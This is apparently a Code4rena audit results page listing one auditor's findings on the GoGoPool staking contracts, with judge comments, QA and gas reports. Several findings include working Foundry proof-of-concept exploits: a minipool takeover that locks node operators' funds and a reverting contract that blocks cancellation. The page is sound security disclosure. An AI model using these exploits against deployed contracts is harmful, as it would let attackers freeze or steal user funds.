Platform: Code4rena
Start Date: 15/12/2022
Pot Size: $128,000 USDC
Total HM: 28
Participants: 111
Period: 19 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 194
League: ETH
Rank: 10/111
Findings: 7
Award: $2,172.25
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: bin2chen
Also found by: AkshaySrivastav, RaymondFam, caventa, cozzetti, csanuragjain, hansfriese, rvierdiiev, shark
597.9492 USDC - $597.95
https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/Staking.sol#L379-L383
The protocol docs mentions that "If the validator is failing at their duties, their GGP will be slashed and used to compensate the loss to our Liquid Stakers."
But the actual implementation of the Staking.slashGGP
function is very different from the above specification.
function slashGGP(address stakerAddr, uint256 ggpAmt) public onlySpecificRegisteredContract("MinipoolManager", msg.sender) { Vault vault = Vault(getContractAddress("Vault")); decreaseGGPStake(stakerAddr, ggpAmt); vault.transferToken("ProtocolDAO", ggp, ggpAmt); }
The few issues in the above code can be listed as:
Consider this scenario:
MinipoolManager.recordStakingEnd
function which invokes the Staking.slashGGP
function.Manual review
The sponsors should re-implelment the Staking.slashGGP
function with alignment to the protocol docs so that the contract natively distribute the slashed GGP to liquid stakers.
Or,
The ProtocolDAO contract should be modified so that it can natively handle the transferred GGP token balance.
#0 - c4-judge
2023-01-09T09:50:32Z
GalloDaSballo marked the issue as duplicate of #532
#1 - c4-judge
2023-02-02T21:00:29Z
GalloDaSballo changed the severity to 3 (High Risk)
#2 - c4-judge
2023-02-08T08:25:12Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xc0ffEE, 0xmint, AkshaySrivastav, Allarious, Ch_301, Franfran, HollaDieWaldfee, IllIllI, Jeiwan, Lirios, Manboy, adriro, ak1, bin2chen, caventa, chaduke, clems4ever, cozzetti, datapunk, imare, immeas, kaliberpoziomka8552, ladboy233, pauliax, peritoflores, rvierdiiev, sces60107, sk8erboy, stealthyz, unforgiven, wagmi, wallstreetvilkas, yixxas
9.9345 USDC - $9.93
https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L196
The MinipoolManager.createMinipool
function do not validate the caller's address due to which any address can invoke the createMinipool
function with any nodeID
(existing or new) as input. For any existing nodeID
the function can be invoked as long as the requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch)
condition is met. This condition is met when the Minipool is in these states:
Upon execution the createMinipool
function resets the Minipool state (sets all values to zero).
Since the function can be invoked by anyone for any existing nodeID
, it can be used to nullify all funds of node operators including original AVAX staked plus any AVAX rewards. The attacker will need some initial capital to invoke the createMinipool
function, this capital however can be safely recovered by the attacker after MinipoolCancelMoratoriumSeconds
duration.
This attack can result in loss of funds for all the node operators of GoGoPool protocol.
Steps for exploit:
N
) comes into Withdrawable
state.createMinipool
function with nodeID N
as input.MinipoolCancelMoratoriumSeconds
the attacker can successfully recover his initial capital.Test Scenario:
contract MinipoolManagerTest is BaseTest { using FixedPointMathLib for uint256; address private nodeOp; address private attacker; function setUp() public override { super.setUp(); nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT); attacker = getActorWithTokens("attacker", MAX_AMT, MAX_AMT); } function testBug() public { address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp); skip(duration); uint256 rewards = 10 ether; deal(address(rialto), address(rialto).balance + rewards); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp1.nodeID, block.timestamp, rewards); vm.stopPrank(); uint256 attackerInitialAvaxBal = attacker.balance; uint256 attackerInitialGgpBal = ggp.balanceOf(attacker); vm.startPrank(attacker); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(200 ether); minipoolMgr.createMinipool{value: 1000 ether}(mp1.nodeID, 0, 0, 1000 ether); vm.stopPrank(); vm.startPrank(nodeOp); vm.expectRevert(MinipoolManager.OnlyOwner.selector); minipoolMgr.withdrawMinipoolFunds(mp1.nodeID); assertEq(minipoolMgr.getMinipool(minipoolMgr.getIndexOf(mp1.nodeID)).owner, attacker); vm.stopPrank(); skip(dao.getMinipoolCancelMoratoriumSeconds()); vm.startPrank(attacker); minipoolMgr.cancelMinipool(mp1.nodeID); staking.withdrawGGP(200 ether); assertEq(attacker.balance, attackerInitialAvaxBal); assertEq(ggp.balanceOf(attacker), attackerInitialGgpBal); } }
Manual review
The createMinipool
function should validate the caller using the onlyOwner
function.
Also the sponsors should verify whether it is intended to allow the Minipool state transition from Withdrawable
to Prelaunch
state. If not, the else if
condition in requireValidStateTransition
should be corrected accordingly.
else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) { isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch); }
#0 - 0xminty
2023-01-03T23:24:34Z
dupe of #805
#1 - c4-judge
2023-01-09T12:36:54Z
GalloDaSballo marked the issue as duplicate of #213
#2 - c4-judge
2023-02-03T12:33:01Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-02-03T19:26:10Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-02-08T08:26:45Z
GalloDaSballo changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-02-08T08:50:12Z
GalloDaSballo changed the severity to 3 (High Risk)
#6 - c4-judge
2023-02-08T09:43:09Z
GalloDaSballo marked the issue as satisfactory
#7 - c4-judge
2023-02-09T08:53:06Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#8 - Simon-Busch
2023-02-09T12:50:36Z
Changed severity back from QA to H as requested by @GalloDaSballo
🌟 Selected for report: gz627
Also found by: AkshaySrivastav, Allarious, Czar102, HE1M, HollaDieWaldfee, KmanOfficial, adriro, ast3ros, betweenETHlines, bin2chen, brgltd, cccz, chaduke, hihen, imare, mookimgo, neumo, nogo, peanuts, unforgiven
21.713 USDC - $21.71
The ProtocolDAO.upgradeExistingContract
is intended to register a new contract in protocol and unregister the old contract. It essentially combined registerContract
and unregisterContract
function calls in a single call.
function upgradeExistingContract( address newAddr, string memory newName, address existingAddr ) external onlyGuardian { registerContract(newAddr, newName); unregisterContract(existingAddr); }
According to its implementation it can be seen that it first registers the new contract and then unregisters the old one. This sequence causes issues if the new and old name of the contract is same. In that case the storage values gets messed up.
contract BugTest is Test { Storage public store; ProtocolDAO public dao; function setUp() public { store = new Storage(); dao = new ProtocolDAO(store); store.setBool(keccak256(abi.encodePacked("contract.exists", address(dao))), true); } function test_upgradeExistingContract() public { string memory contractName = "Oracle"; address existingAddr = address(0x100); dao.registerContract(existingAddr, contractName); address newAddr = address(0x200); dao.upgradeExistingContract(newAddr, contractName, existingAddr); assertEq(store.getBool(keccak256(abi.encodePacked("contract.exists", existingAddr))), false); assertEq(store.getAddress(keccak256(abi.encodePacked("contract.address", contractName))), address(0)); assertEq(store.getString(keccak256(abi.encodePacked("contract.name", existingAddr))), ""); assertEq(store.getBool(keccak256(abi.encodePacked("contract.exists", newAddr))), true); assertEq(store.getAddress(keccak256(abi.encodePacked("contract.address", contractName))), address(0)); assertEq(store.getString(keccak256(abi.encodePacked("contract.name", newAddr))), "Oracle"); } }
In the test case above, the newAddr
address value points to "Oracle" string but the "Oracle" string points to null address.
Manual review
Consider performing unregistering the old contract before registering the new one or consider validating that new and old contract names cannot be same.
#0 - c4-judge
2023-01-09T10:05:27Z
GalloDaSballo marked the issue as duplicate of #742
#1 - c4-judge
2023-02-02T20:46:26Z
GalloDaSballo changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-02-08T20:09:41Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: imare
Also found by: 0Kage, 0xbepresent, AkshaySrivastav, Faith, HollaDieWaldfee, Jeiwan, Saintcode_, betweenETHlines, btk, dic0de, enckrish, gz627, imare, jadezti, kaliberpoziomka8552, nogo, simon135, sk8erboy
17.3743 USDC - $17.37
https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/Ocyticus.sol#L55 https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L57
In GoGoPool protocol, all multisigs can be disabled using the Ocyticus.pauseEverything
and Ocyticus.disableAllMultisigs
functions. It should also be noted that in MinipoolManager
every Minipool gets assigned a mulstisig at the time of that Minipool creation.
After a multisig has been disabled it can still perform various operations on the Minipool for which it was assigned as a valid multisig. The operations includes:
The disabling of multisigs can be done for various reasons (including private key compromises) and letting disabled multisigs perform crucial operations on Minipools is not ideal.
Consider this scenario:
Ocyticus.disableAllMultisigs
was invoked and all multisigs were disabled.Manual review
The protocol should check the current enabled
or disabled
state of the caller multisigs before allowing it to perform any operation on the Minipool. The protocol should also have a way to upgrade the assigned multisig for a Minipool.
#0 - c4-judge
2023-01-08T12:54:45Z
GalloDaSballo marked the issue as duplicate of #618
#1 - c4-judge
2023-02-01T19:57:26Z
GalloDaSballo marked the issue as duplicate of #702
#2 - GalloDaSballo
2023-02-02T11:57:04Z
See #618
#3 - c4-judge
2023-02-02T11:57:09Z
GalloDaSballo marked the issue as partial-50
#4 - c4-judge
2023-02-08T19:58:31Z
GalloDaSballo changed the severity to 2 (Med Risk)
🌟 Selected for report: Jeiwan
Also found by: AkshaySrivastav, ladboy233, peritoflores
683.5268 USDC - $683.53
https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L664
The MinipoolManager._cancelMinipoolAndReturnFunds
function implements a push payment mechanism for ETH (AVAX) transfers. This function is internally called by cancelMinipoolByMultisig
function.
A malicious contract which reverts on all plain ETH transfer can be used to prevent a multisig from canceling the Minipool. Since the Minipool now cannot move to Canceled
state, the only state possible forward for the Minipool is the Launched
state or just be in the Prelaunch
state forever. Both the scenarios are completed unintentional and unexpected for the MinipoolManager contract.
Test case:
contract Malicious { receive() external payable { revert("Not Receivable"); } function stakeGGP(address staking, ERC20 ggp, uint256 amount) public { ggp.approve(staking, amount); Staking(staking).stakeGGP(amount); } function createMinipool(address manager, address nodeID, uint256 avaxAssignmentRequest) public payable { MinipoolManager(manager).createMinipool{value: msg.value}(nodeID, 0, 0, avaxAssignmentRequest); } } contract MinipoolManagerTest is BaseTest { address private attacker; function setUp() public override { super.setUp(); attacker = getActorWithTokens("attacker", MAX_AMT, MAX_AMT); } function testBug() public { uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint128 ggpStakeAmt = 200 ether; address nodeID = address(1009); Malicious maliciousC = new Malicious(); vm.startPrank(attacker); ggp.transfer(address(maliciousC), MAX_AMT); maliciousC.stakeGGP(address(staking), ggp, ggpStakeAmt); maliciousC.createMinipool{value: depositAmt}(address(minipoolMgr), nodeID, avaxAssignmentRequest); vm.stopPrank(); bytes32 errorCode = "INVALID_NODEID"; vm.prank(address(rialto)); vm.expectRevert("ETH_TRANSFER_FAILED"); minipoolMgr.cancelMinipoolByMultisig(nodeID, errorCode); } }
Manual review
The MinipoolManager._cancelMinipoolAndReturnFunds
should implement a pull payment mechanism in which the recipient itself has to come and trigger the payment transaction.
#0 - peritoflores
2023-01-04T12:55:15Z
#686
#1 - GalloDaSballo
2023-01-10T09:54:46Z
Has coded POC -> Primary
#2 - c4-judge
2023-01-10T09:54:50Z
GalloDaSballo marked the issue as primary issue
#3 - 0xju1ie
2023-01-20T12:19:57Z
#4 - c4-judge
2023-01-29T18:21:01Z
GalloDaSballo marked the issue as duplicate of #623
#5 - c4-judge
2023-02-08T08:49:19Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: IllIllI
Also found by: 0xSmartContract, AkshaySrivastav, HollaDieWaldfee, RaymondFam, Rolezn, ast3ros, betweenETHlines, brgltd, chaduke, codeislight, cozzetti, lukris02, pauliax, sces60107
122.8177 USDC - $122.82
Ocyticus and TokenggAVAX contracts inherits BaseAbstract but do not initializes the version
parameter. Ideally the version
should be passed in constructors/initializers so that its initialization does not get missed.
In the Vault contract, the transfer of funds is only allowed to network contracts, since Vault is non-upgradeable and intended to be future proof it should allow transfer of funds to any address.
Protocol docs for Ocyticus contract only mentions about pausing rights but unpausing is also possible.
In ERC20Upgradeable _disableInitializers
should be invoked in the constructor
, the same thing is also recommended by OpenZeppelin.
Many contracts redundantly inherit already inherited contracts. This makes the code less readable.
Contract | Redundant Inheritance | Already Inherited In |
---|---|---|
ERC4626Upgradeable | Initializable | ERC20Upgradeable |
TokenggAVAX | Initializable | ERC4626Upgradeable, BaseUpgradeable |
The onlyGuardian
modifier in ProtocolDAO.initialize
function can be omitted as the function do not take any input values and the initialization is time independent.
onlyRegisteredNetworkContract
modifier has different meaning and context in different contracts. In Storage
it includes registered contracts and guardian
while in BaseAbstract
it only includes registered contracts.
In Staking
contract, for increaseAVAXAssignedHighWater
and resetAVAXAssignedHighWater
onlySpecificRegisteredContract
modifier should be used instead of onlyRegisteredNetworkContract
modifer. As both the functions are only invoked by a single contract (MinipoolManager
and ClaimNodeOp
respectively).
MinipoolManager - incorrect comments. As per the convention of the overall protocol 2% should be 0.02 ether.
MinipoolManager - typo in @notice
of canClaimAndInitiateStaking
.
The protocol docs mentions that the contracts do not have any storage variables as they follow the Storage Registration Technique for upgradeability. But the contracts do have some storage variables as they inherit Base, ReentrancyGuard contracts.
ERC4626Upgradeable - a comment section mentions IMMUTABLES while there are no immutable variables in the contract.
In Vault contract no getter function is present to read allowedTokens
mapping.
TokenggAVAX.sol imports BaseUpgradeable.sol using statement import "../BaseUpgradeable.sol";
which is not the recommended way for importing other solidity files as per the Solidity docs. This form is not recommended for use, because it unpredictably pollutes the namespace.
The ideal way should be:
import {BaseUpgradeable} from "../BaseUpgradeable.sol";
Same is the case with ClaimNodeOp.sol, ClaimProtocolDAO.sol and some other contract files.
Unnecessary imports present:
Contract File | Imported Object |
---|---|
TokenggAVAX.sol | ERC20Upgradeable |
ClaimNodeOp.sol | MinipoolManager, TokenGGP |
MinipoolManager.sol | TokenGGP |
ProtocolDAO.sol | TokenGGP |
Vault.sol | TokenGGP, WAVAX |
Vault contract contains unnecessary errors which are never used - InvalidNetworkContract
, TokenTransferFailed
and VaultTokenWithdrawalFailed
.
Basic input sanitation for access protected functions should be done. Sometimes these functions are triggered by offchain automated softwares (scripts) which can possibly misbehave and pass null values (0). These null values can cause significant damage to the protocol and its users.
The codebase still has TODO
tags. It is recommended to resolve all the TODO
tags before deploying the contracts on mainnet.
#0 - GalloDaSballo
2023-01-25T18:36:46Z
Ocyticus and TokenggAVAX contracts inherits BaseAbstract but do not initializes the version parameter L
In the Vault contract, the transfer of funds is only allowed to network contracts, Disputing for lack of proof, we know registered contracts can be changed
Protocol docs for Ocyticus contract L
In ERC20Upgradeable _disableInitializers R
Many contracts redundantly i R
The onlyGuardian modifier in ProtocolDAO.initialize Disagree as they probably want to avoid getting front-run
onlyRegisteredNetworkContract modifier L
In Staking contract, for increaseAVAXAssignedHighWater
MinipoolManager - incorrect comments. L
MinipoolManager - typo in @notice NC
The protocol docs mentions that the contracts Looks off, skipping
ERC4626Upgradeable - a comment NC, technically unchangeable variables
In Vault contract no getter function NC
TokenggAVAX.sol imports BaseUpgradeable.sol NC
Unnecessary imports present NC
Vault contract contains unnecessary NC
Basic input sanitation for access protected L
The codebase still has TODO tags. NC
#1 - GalloDaSballo
2023-02-03T16:02:39Z
5L 2R 7NC
2L from dups
7L 2R 7NC
#2 - c4-judge
2023-02-03T22:09:56Z
GalloDaSballo marked the issue as grade-b
🌟 Selected for report: NoamYakov
Also found by: AkshaySrivastav, IllIllI, ast3ros, betweenETHlines, c3phas, camdengrieh, chaduke, fatherOfBlocks, kartkhira, latt1ce, shark
718.9381 USDC - $718.94
In ERC20Upgradeable contract INITIAL_CHAIN_ID
and INITIAL_DOMAIN_SEPARATOR
can be made immutable
.
uint256 internal INITIAL_CHAIN_ID; bytes32 internal INITIAL_DOMAIN_SEPARATOR;
In Storage.sol at L63 msg.sender
should be used instead of reading newGuardian
from storage.
if (msg.sender != newGuardian) { revert InvalidGuardianConfirmation(); } // ... guardian = newGuardian;
MultisigManager - at L74 deleteBool
should be used as the delete
keyword uses less gas.
74 setBool(keccak256(abi.encodePacked("multisig.item", multisigIndex, ".enabled")), false);
ProtocolDAO - at L74 deleteBool
should be used as the delete
keyword uses less gas.
74 setBool(keccak256(abi.encodePacked("contract.paused", contractName)), false);
In MultisigManager.requireNextActiveMultisig
L82 can be omitted and addr
can be declared in return datatypes.
function requireNextActiveMultisig() external view returns (address) { uint256 total = getUint(keccak256("multisig.count")); address addr; // L82 bool enabled; for (uint256 i = 0; i < total; i++) { (addr, enabled) = getMultisig(i); if (enabled) { return addr; } } revert NoEnabledMultisigFound(); }
In Vault.withdrawAVAX
the second if
condition (L71-L73) can be omitted. As the condition is already validated by solidity's underflow protection. Same is the case in transferAVAX
, withdrawToken
, transferToken
functions.
In Vault.removeAllowedToken
delete
should be used as the delete
keyword uses less gas.
209 allowedTokens[tokenAddress] = false;
In Vault.withdrawToken
at L157 there is no need to create new tokenContract
variable in memory as tokenAddress
is already of type ERC20
.
157 ERC20 tokenContract = ERC20(tokenAddress);
In Vault contract onlyRegisteredNetworkContract
modifier can be removed from withdraw
functions as the deposit balance of caller is validated.
In Staking contract increaseGGPStake
function can be omitted and the needed statements can be written directly in the _stakeGGP
function. The increaseGGPStake
is only called once.
function increaseGGPStake(address stakerAddr, uint256 amount) internal { int256 stakerIndex = requireValidStaker(stakerAddr); addUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".ggpStaked")), amount); }
MinipoolManager - In onlyOwner
modifier msg.sender
should be returned instead of memory variable.
function onlyOwner(int256 minipoolIndex) private view returns (address) { address owner = getAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner"))); if (msg.sender != owner) { revert OnlyOwner(); } return owner; }
MinipoolManager - In requireValidStateTransition
function there is no need for the last else
block.
function requireValidStateTransition(int256 minipoolIndex, MinipoolStatus to) private view { // ... bool isValid; if (currentStatus == MinipoolStatus.Prelaunch) { isValid = (to == MinipoolStatus.Launched || to == MinipoolStatus.Canceled); } else if (currentStatus == MinipoolStatus.Launched) { } else if {...} else { isValid = false; } // ... }
Since Vault
and TokenGGP
contracts are non-upgradeable contracts, their addresses can be stored in immutable
variables in other contracts instead of reading those addresses from the Storage
contract.
Vault vault = Vault(getContractAddress("Vault"));
TokenGGP ggpToken = TokenGGP(getContractAddress("TokenGGP"));
In ClaimNodeOp.calculateAndDistributeRewards
the rewardsPool.getRewardsCycleCount()
value should be cached.
if (rewardsPool.getRewardsCycleCount() == 0) { revert RewardsCycleNotStarted(); } if (staking.getLastRewardsCycleCompleted(stakerAddr) == rewardsPool.getRewardsCycleCount()) { revert RewardsAlreadyDistributedToStaker(stakerAddr); } staking.setLastRewardsCycleCompleted(stakerAddr, rewardsPool.getRewardsCycleCount());
In TokenggAVAX.depositFromStaking
the msg.value
should be used instead of totalAmt
.
function depositFromStaking(uint256 baseAmt, uint256 rewardAmt) public ... { uint256 totalAmt = msg.value; if (totalAmt != (baseAmt + rewardAmt) || baseAmt > stakingTotalAssets) { revert InvalidStakingDeposit(); } // ... IWAVAX(address(asset)).deposit{value: totalAmt}(); }
#0 - GalloDaSballo
2023-01-25T20:44:44Z
In ERC20Upgradeable contract INITIAL_CHAIN_ID and INITIAL_DOMAIN_SEPARATOR can be made immutable. Disputing as contract is upgradeable
In Storage.sol at L63 msg.sender should be used instead of reading newGuardian from storage. 100
MultisigManager - at L74 deleteBool should be used as the delete keyword uses less gas. ProtocolDAO - at L74 deleteBool should be used as the delete keyword uses less gas. Invalid, delete is alias for setting to 0, doesn't save gas
In MultisigManager.requireNextActiveMultisig L82 can be omitted and addr can be declared in return datatypes. Declaration costs nothing
In Vault.withdrawAVAX the second if condition (L71-L73) can be omitted. As the condition is already validated by solidity's underflow protection. Same is the case in transferAVAX, withdrawToken, transferToken functions. Disputing as it's better UX
In Vault.withdrawToken at L157 there is no need to create new tokenContract variable in memory as tokenAddress is already of type ERC20.
In Vault contract onlyRegisteredNetworkContract modifier can be removed from withdraw functions as the deposit balance of caller is validated. Interesting, 340 per instance
In Staking contract increaseGGPStake function can be omitted and the needed statements can be written directly in the _stakeGGP function. The increaseGGPStake is only called once. 16
MinipoolManager - In onlyOwner modifier msg.sender should be returned instead of memory variable. 1
MinipoolManager - In requireValidStateTransition function there is no need for the last else block. 6
Since Vault and TokenGGP contracts are non-upgradeable contracts, their addresses can be stored in immutable variables in other contracts instead of reading those addresses from the Storage contract. I think I'll award this as ultimately it will save gas 2.1k * 2
getRewardsCycleCount 2 * 340
680
1140+
5340
#1 - c4-judge
2023-02-03T19:12:57Z
GalloDaSballo marked the issue as grade-a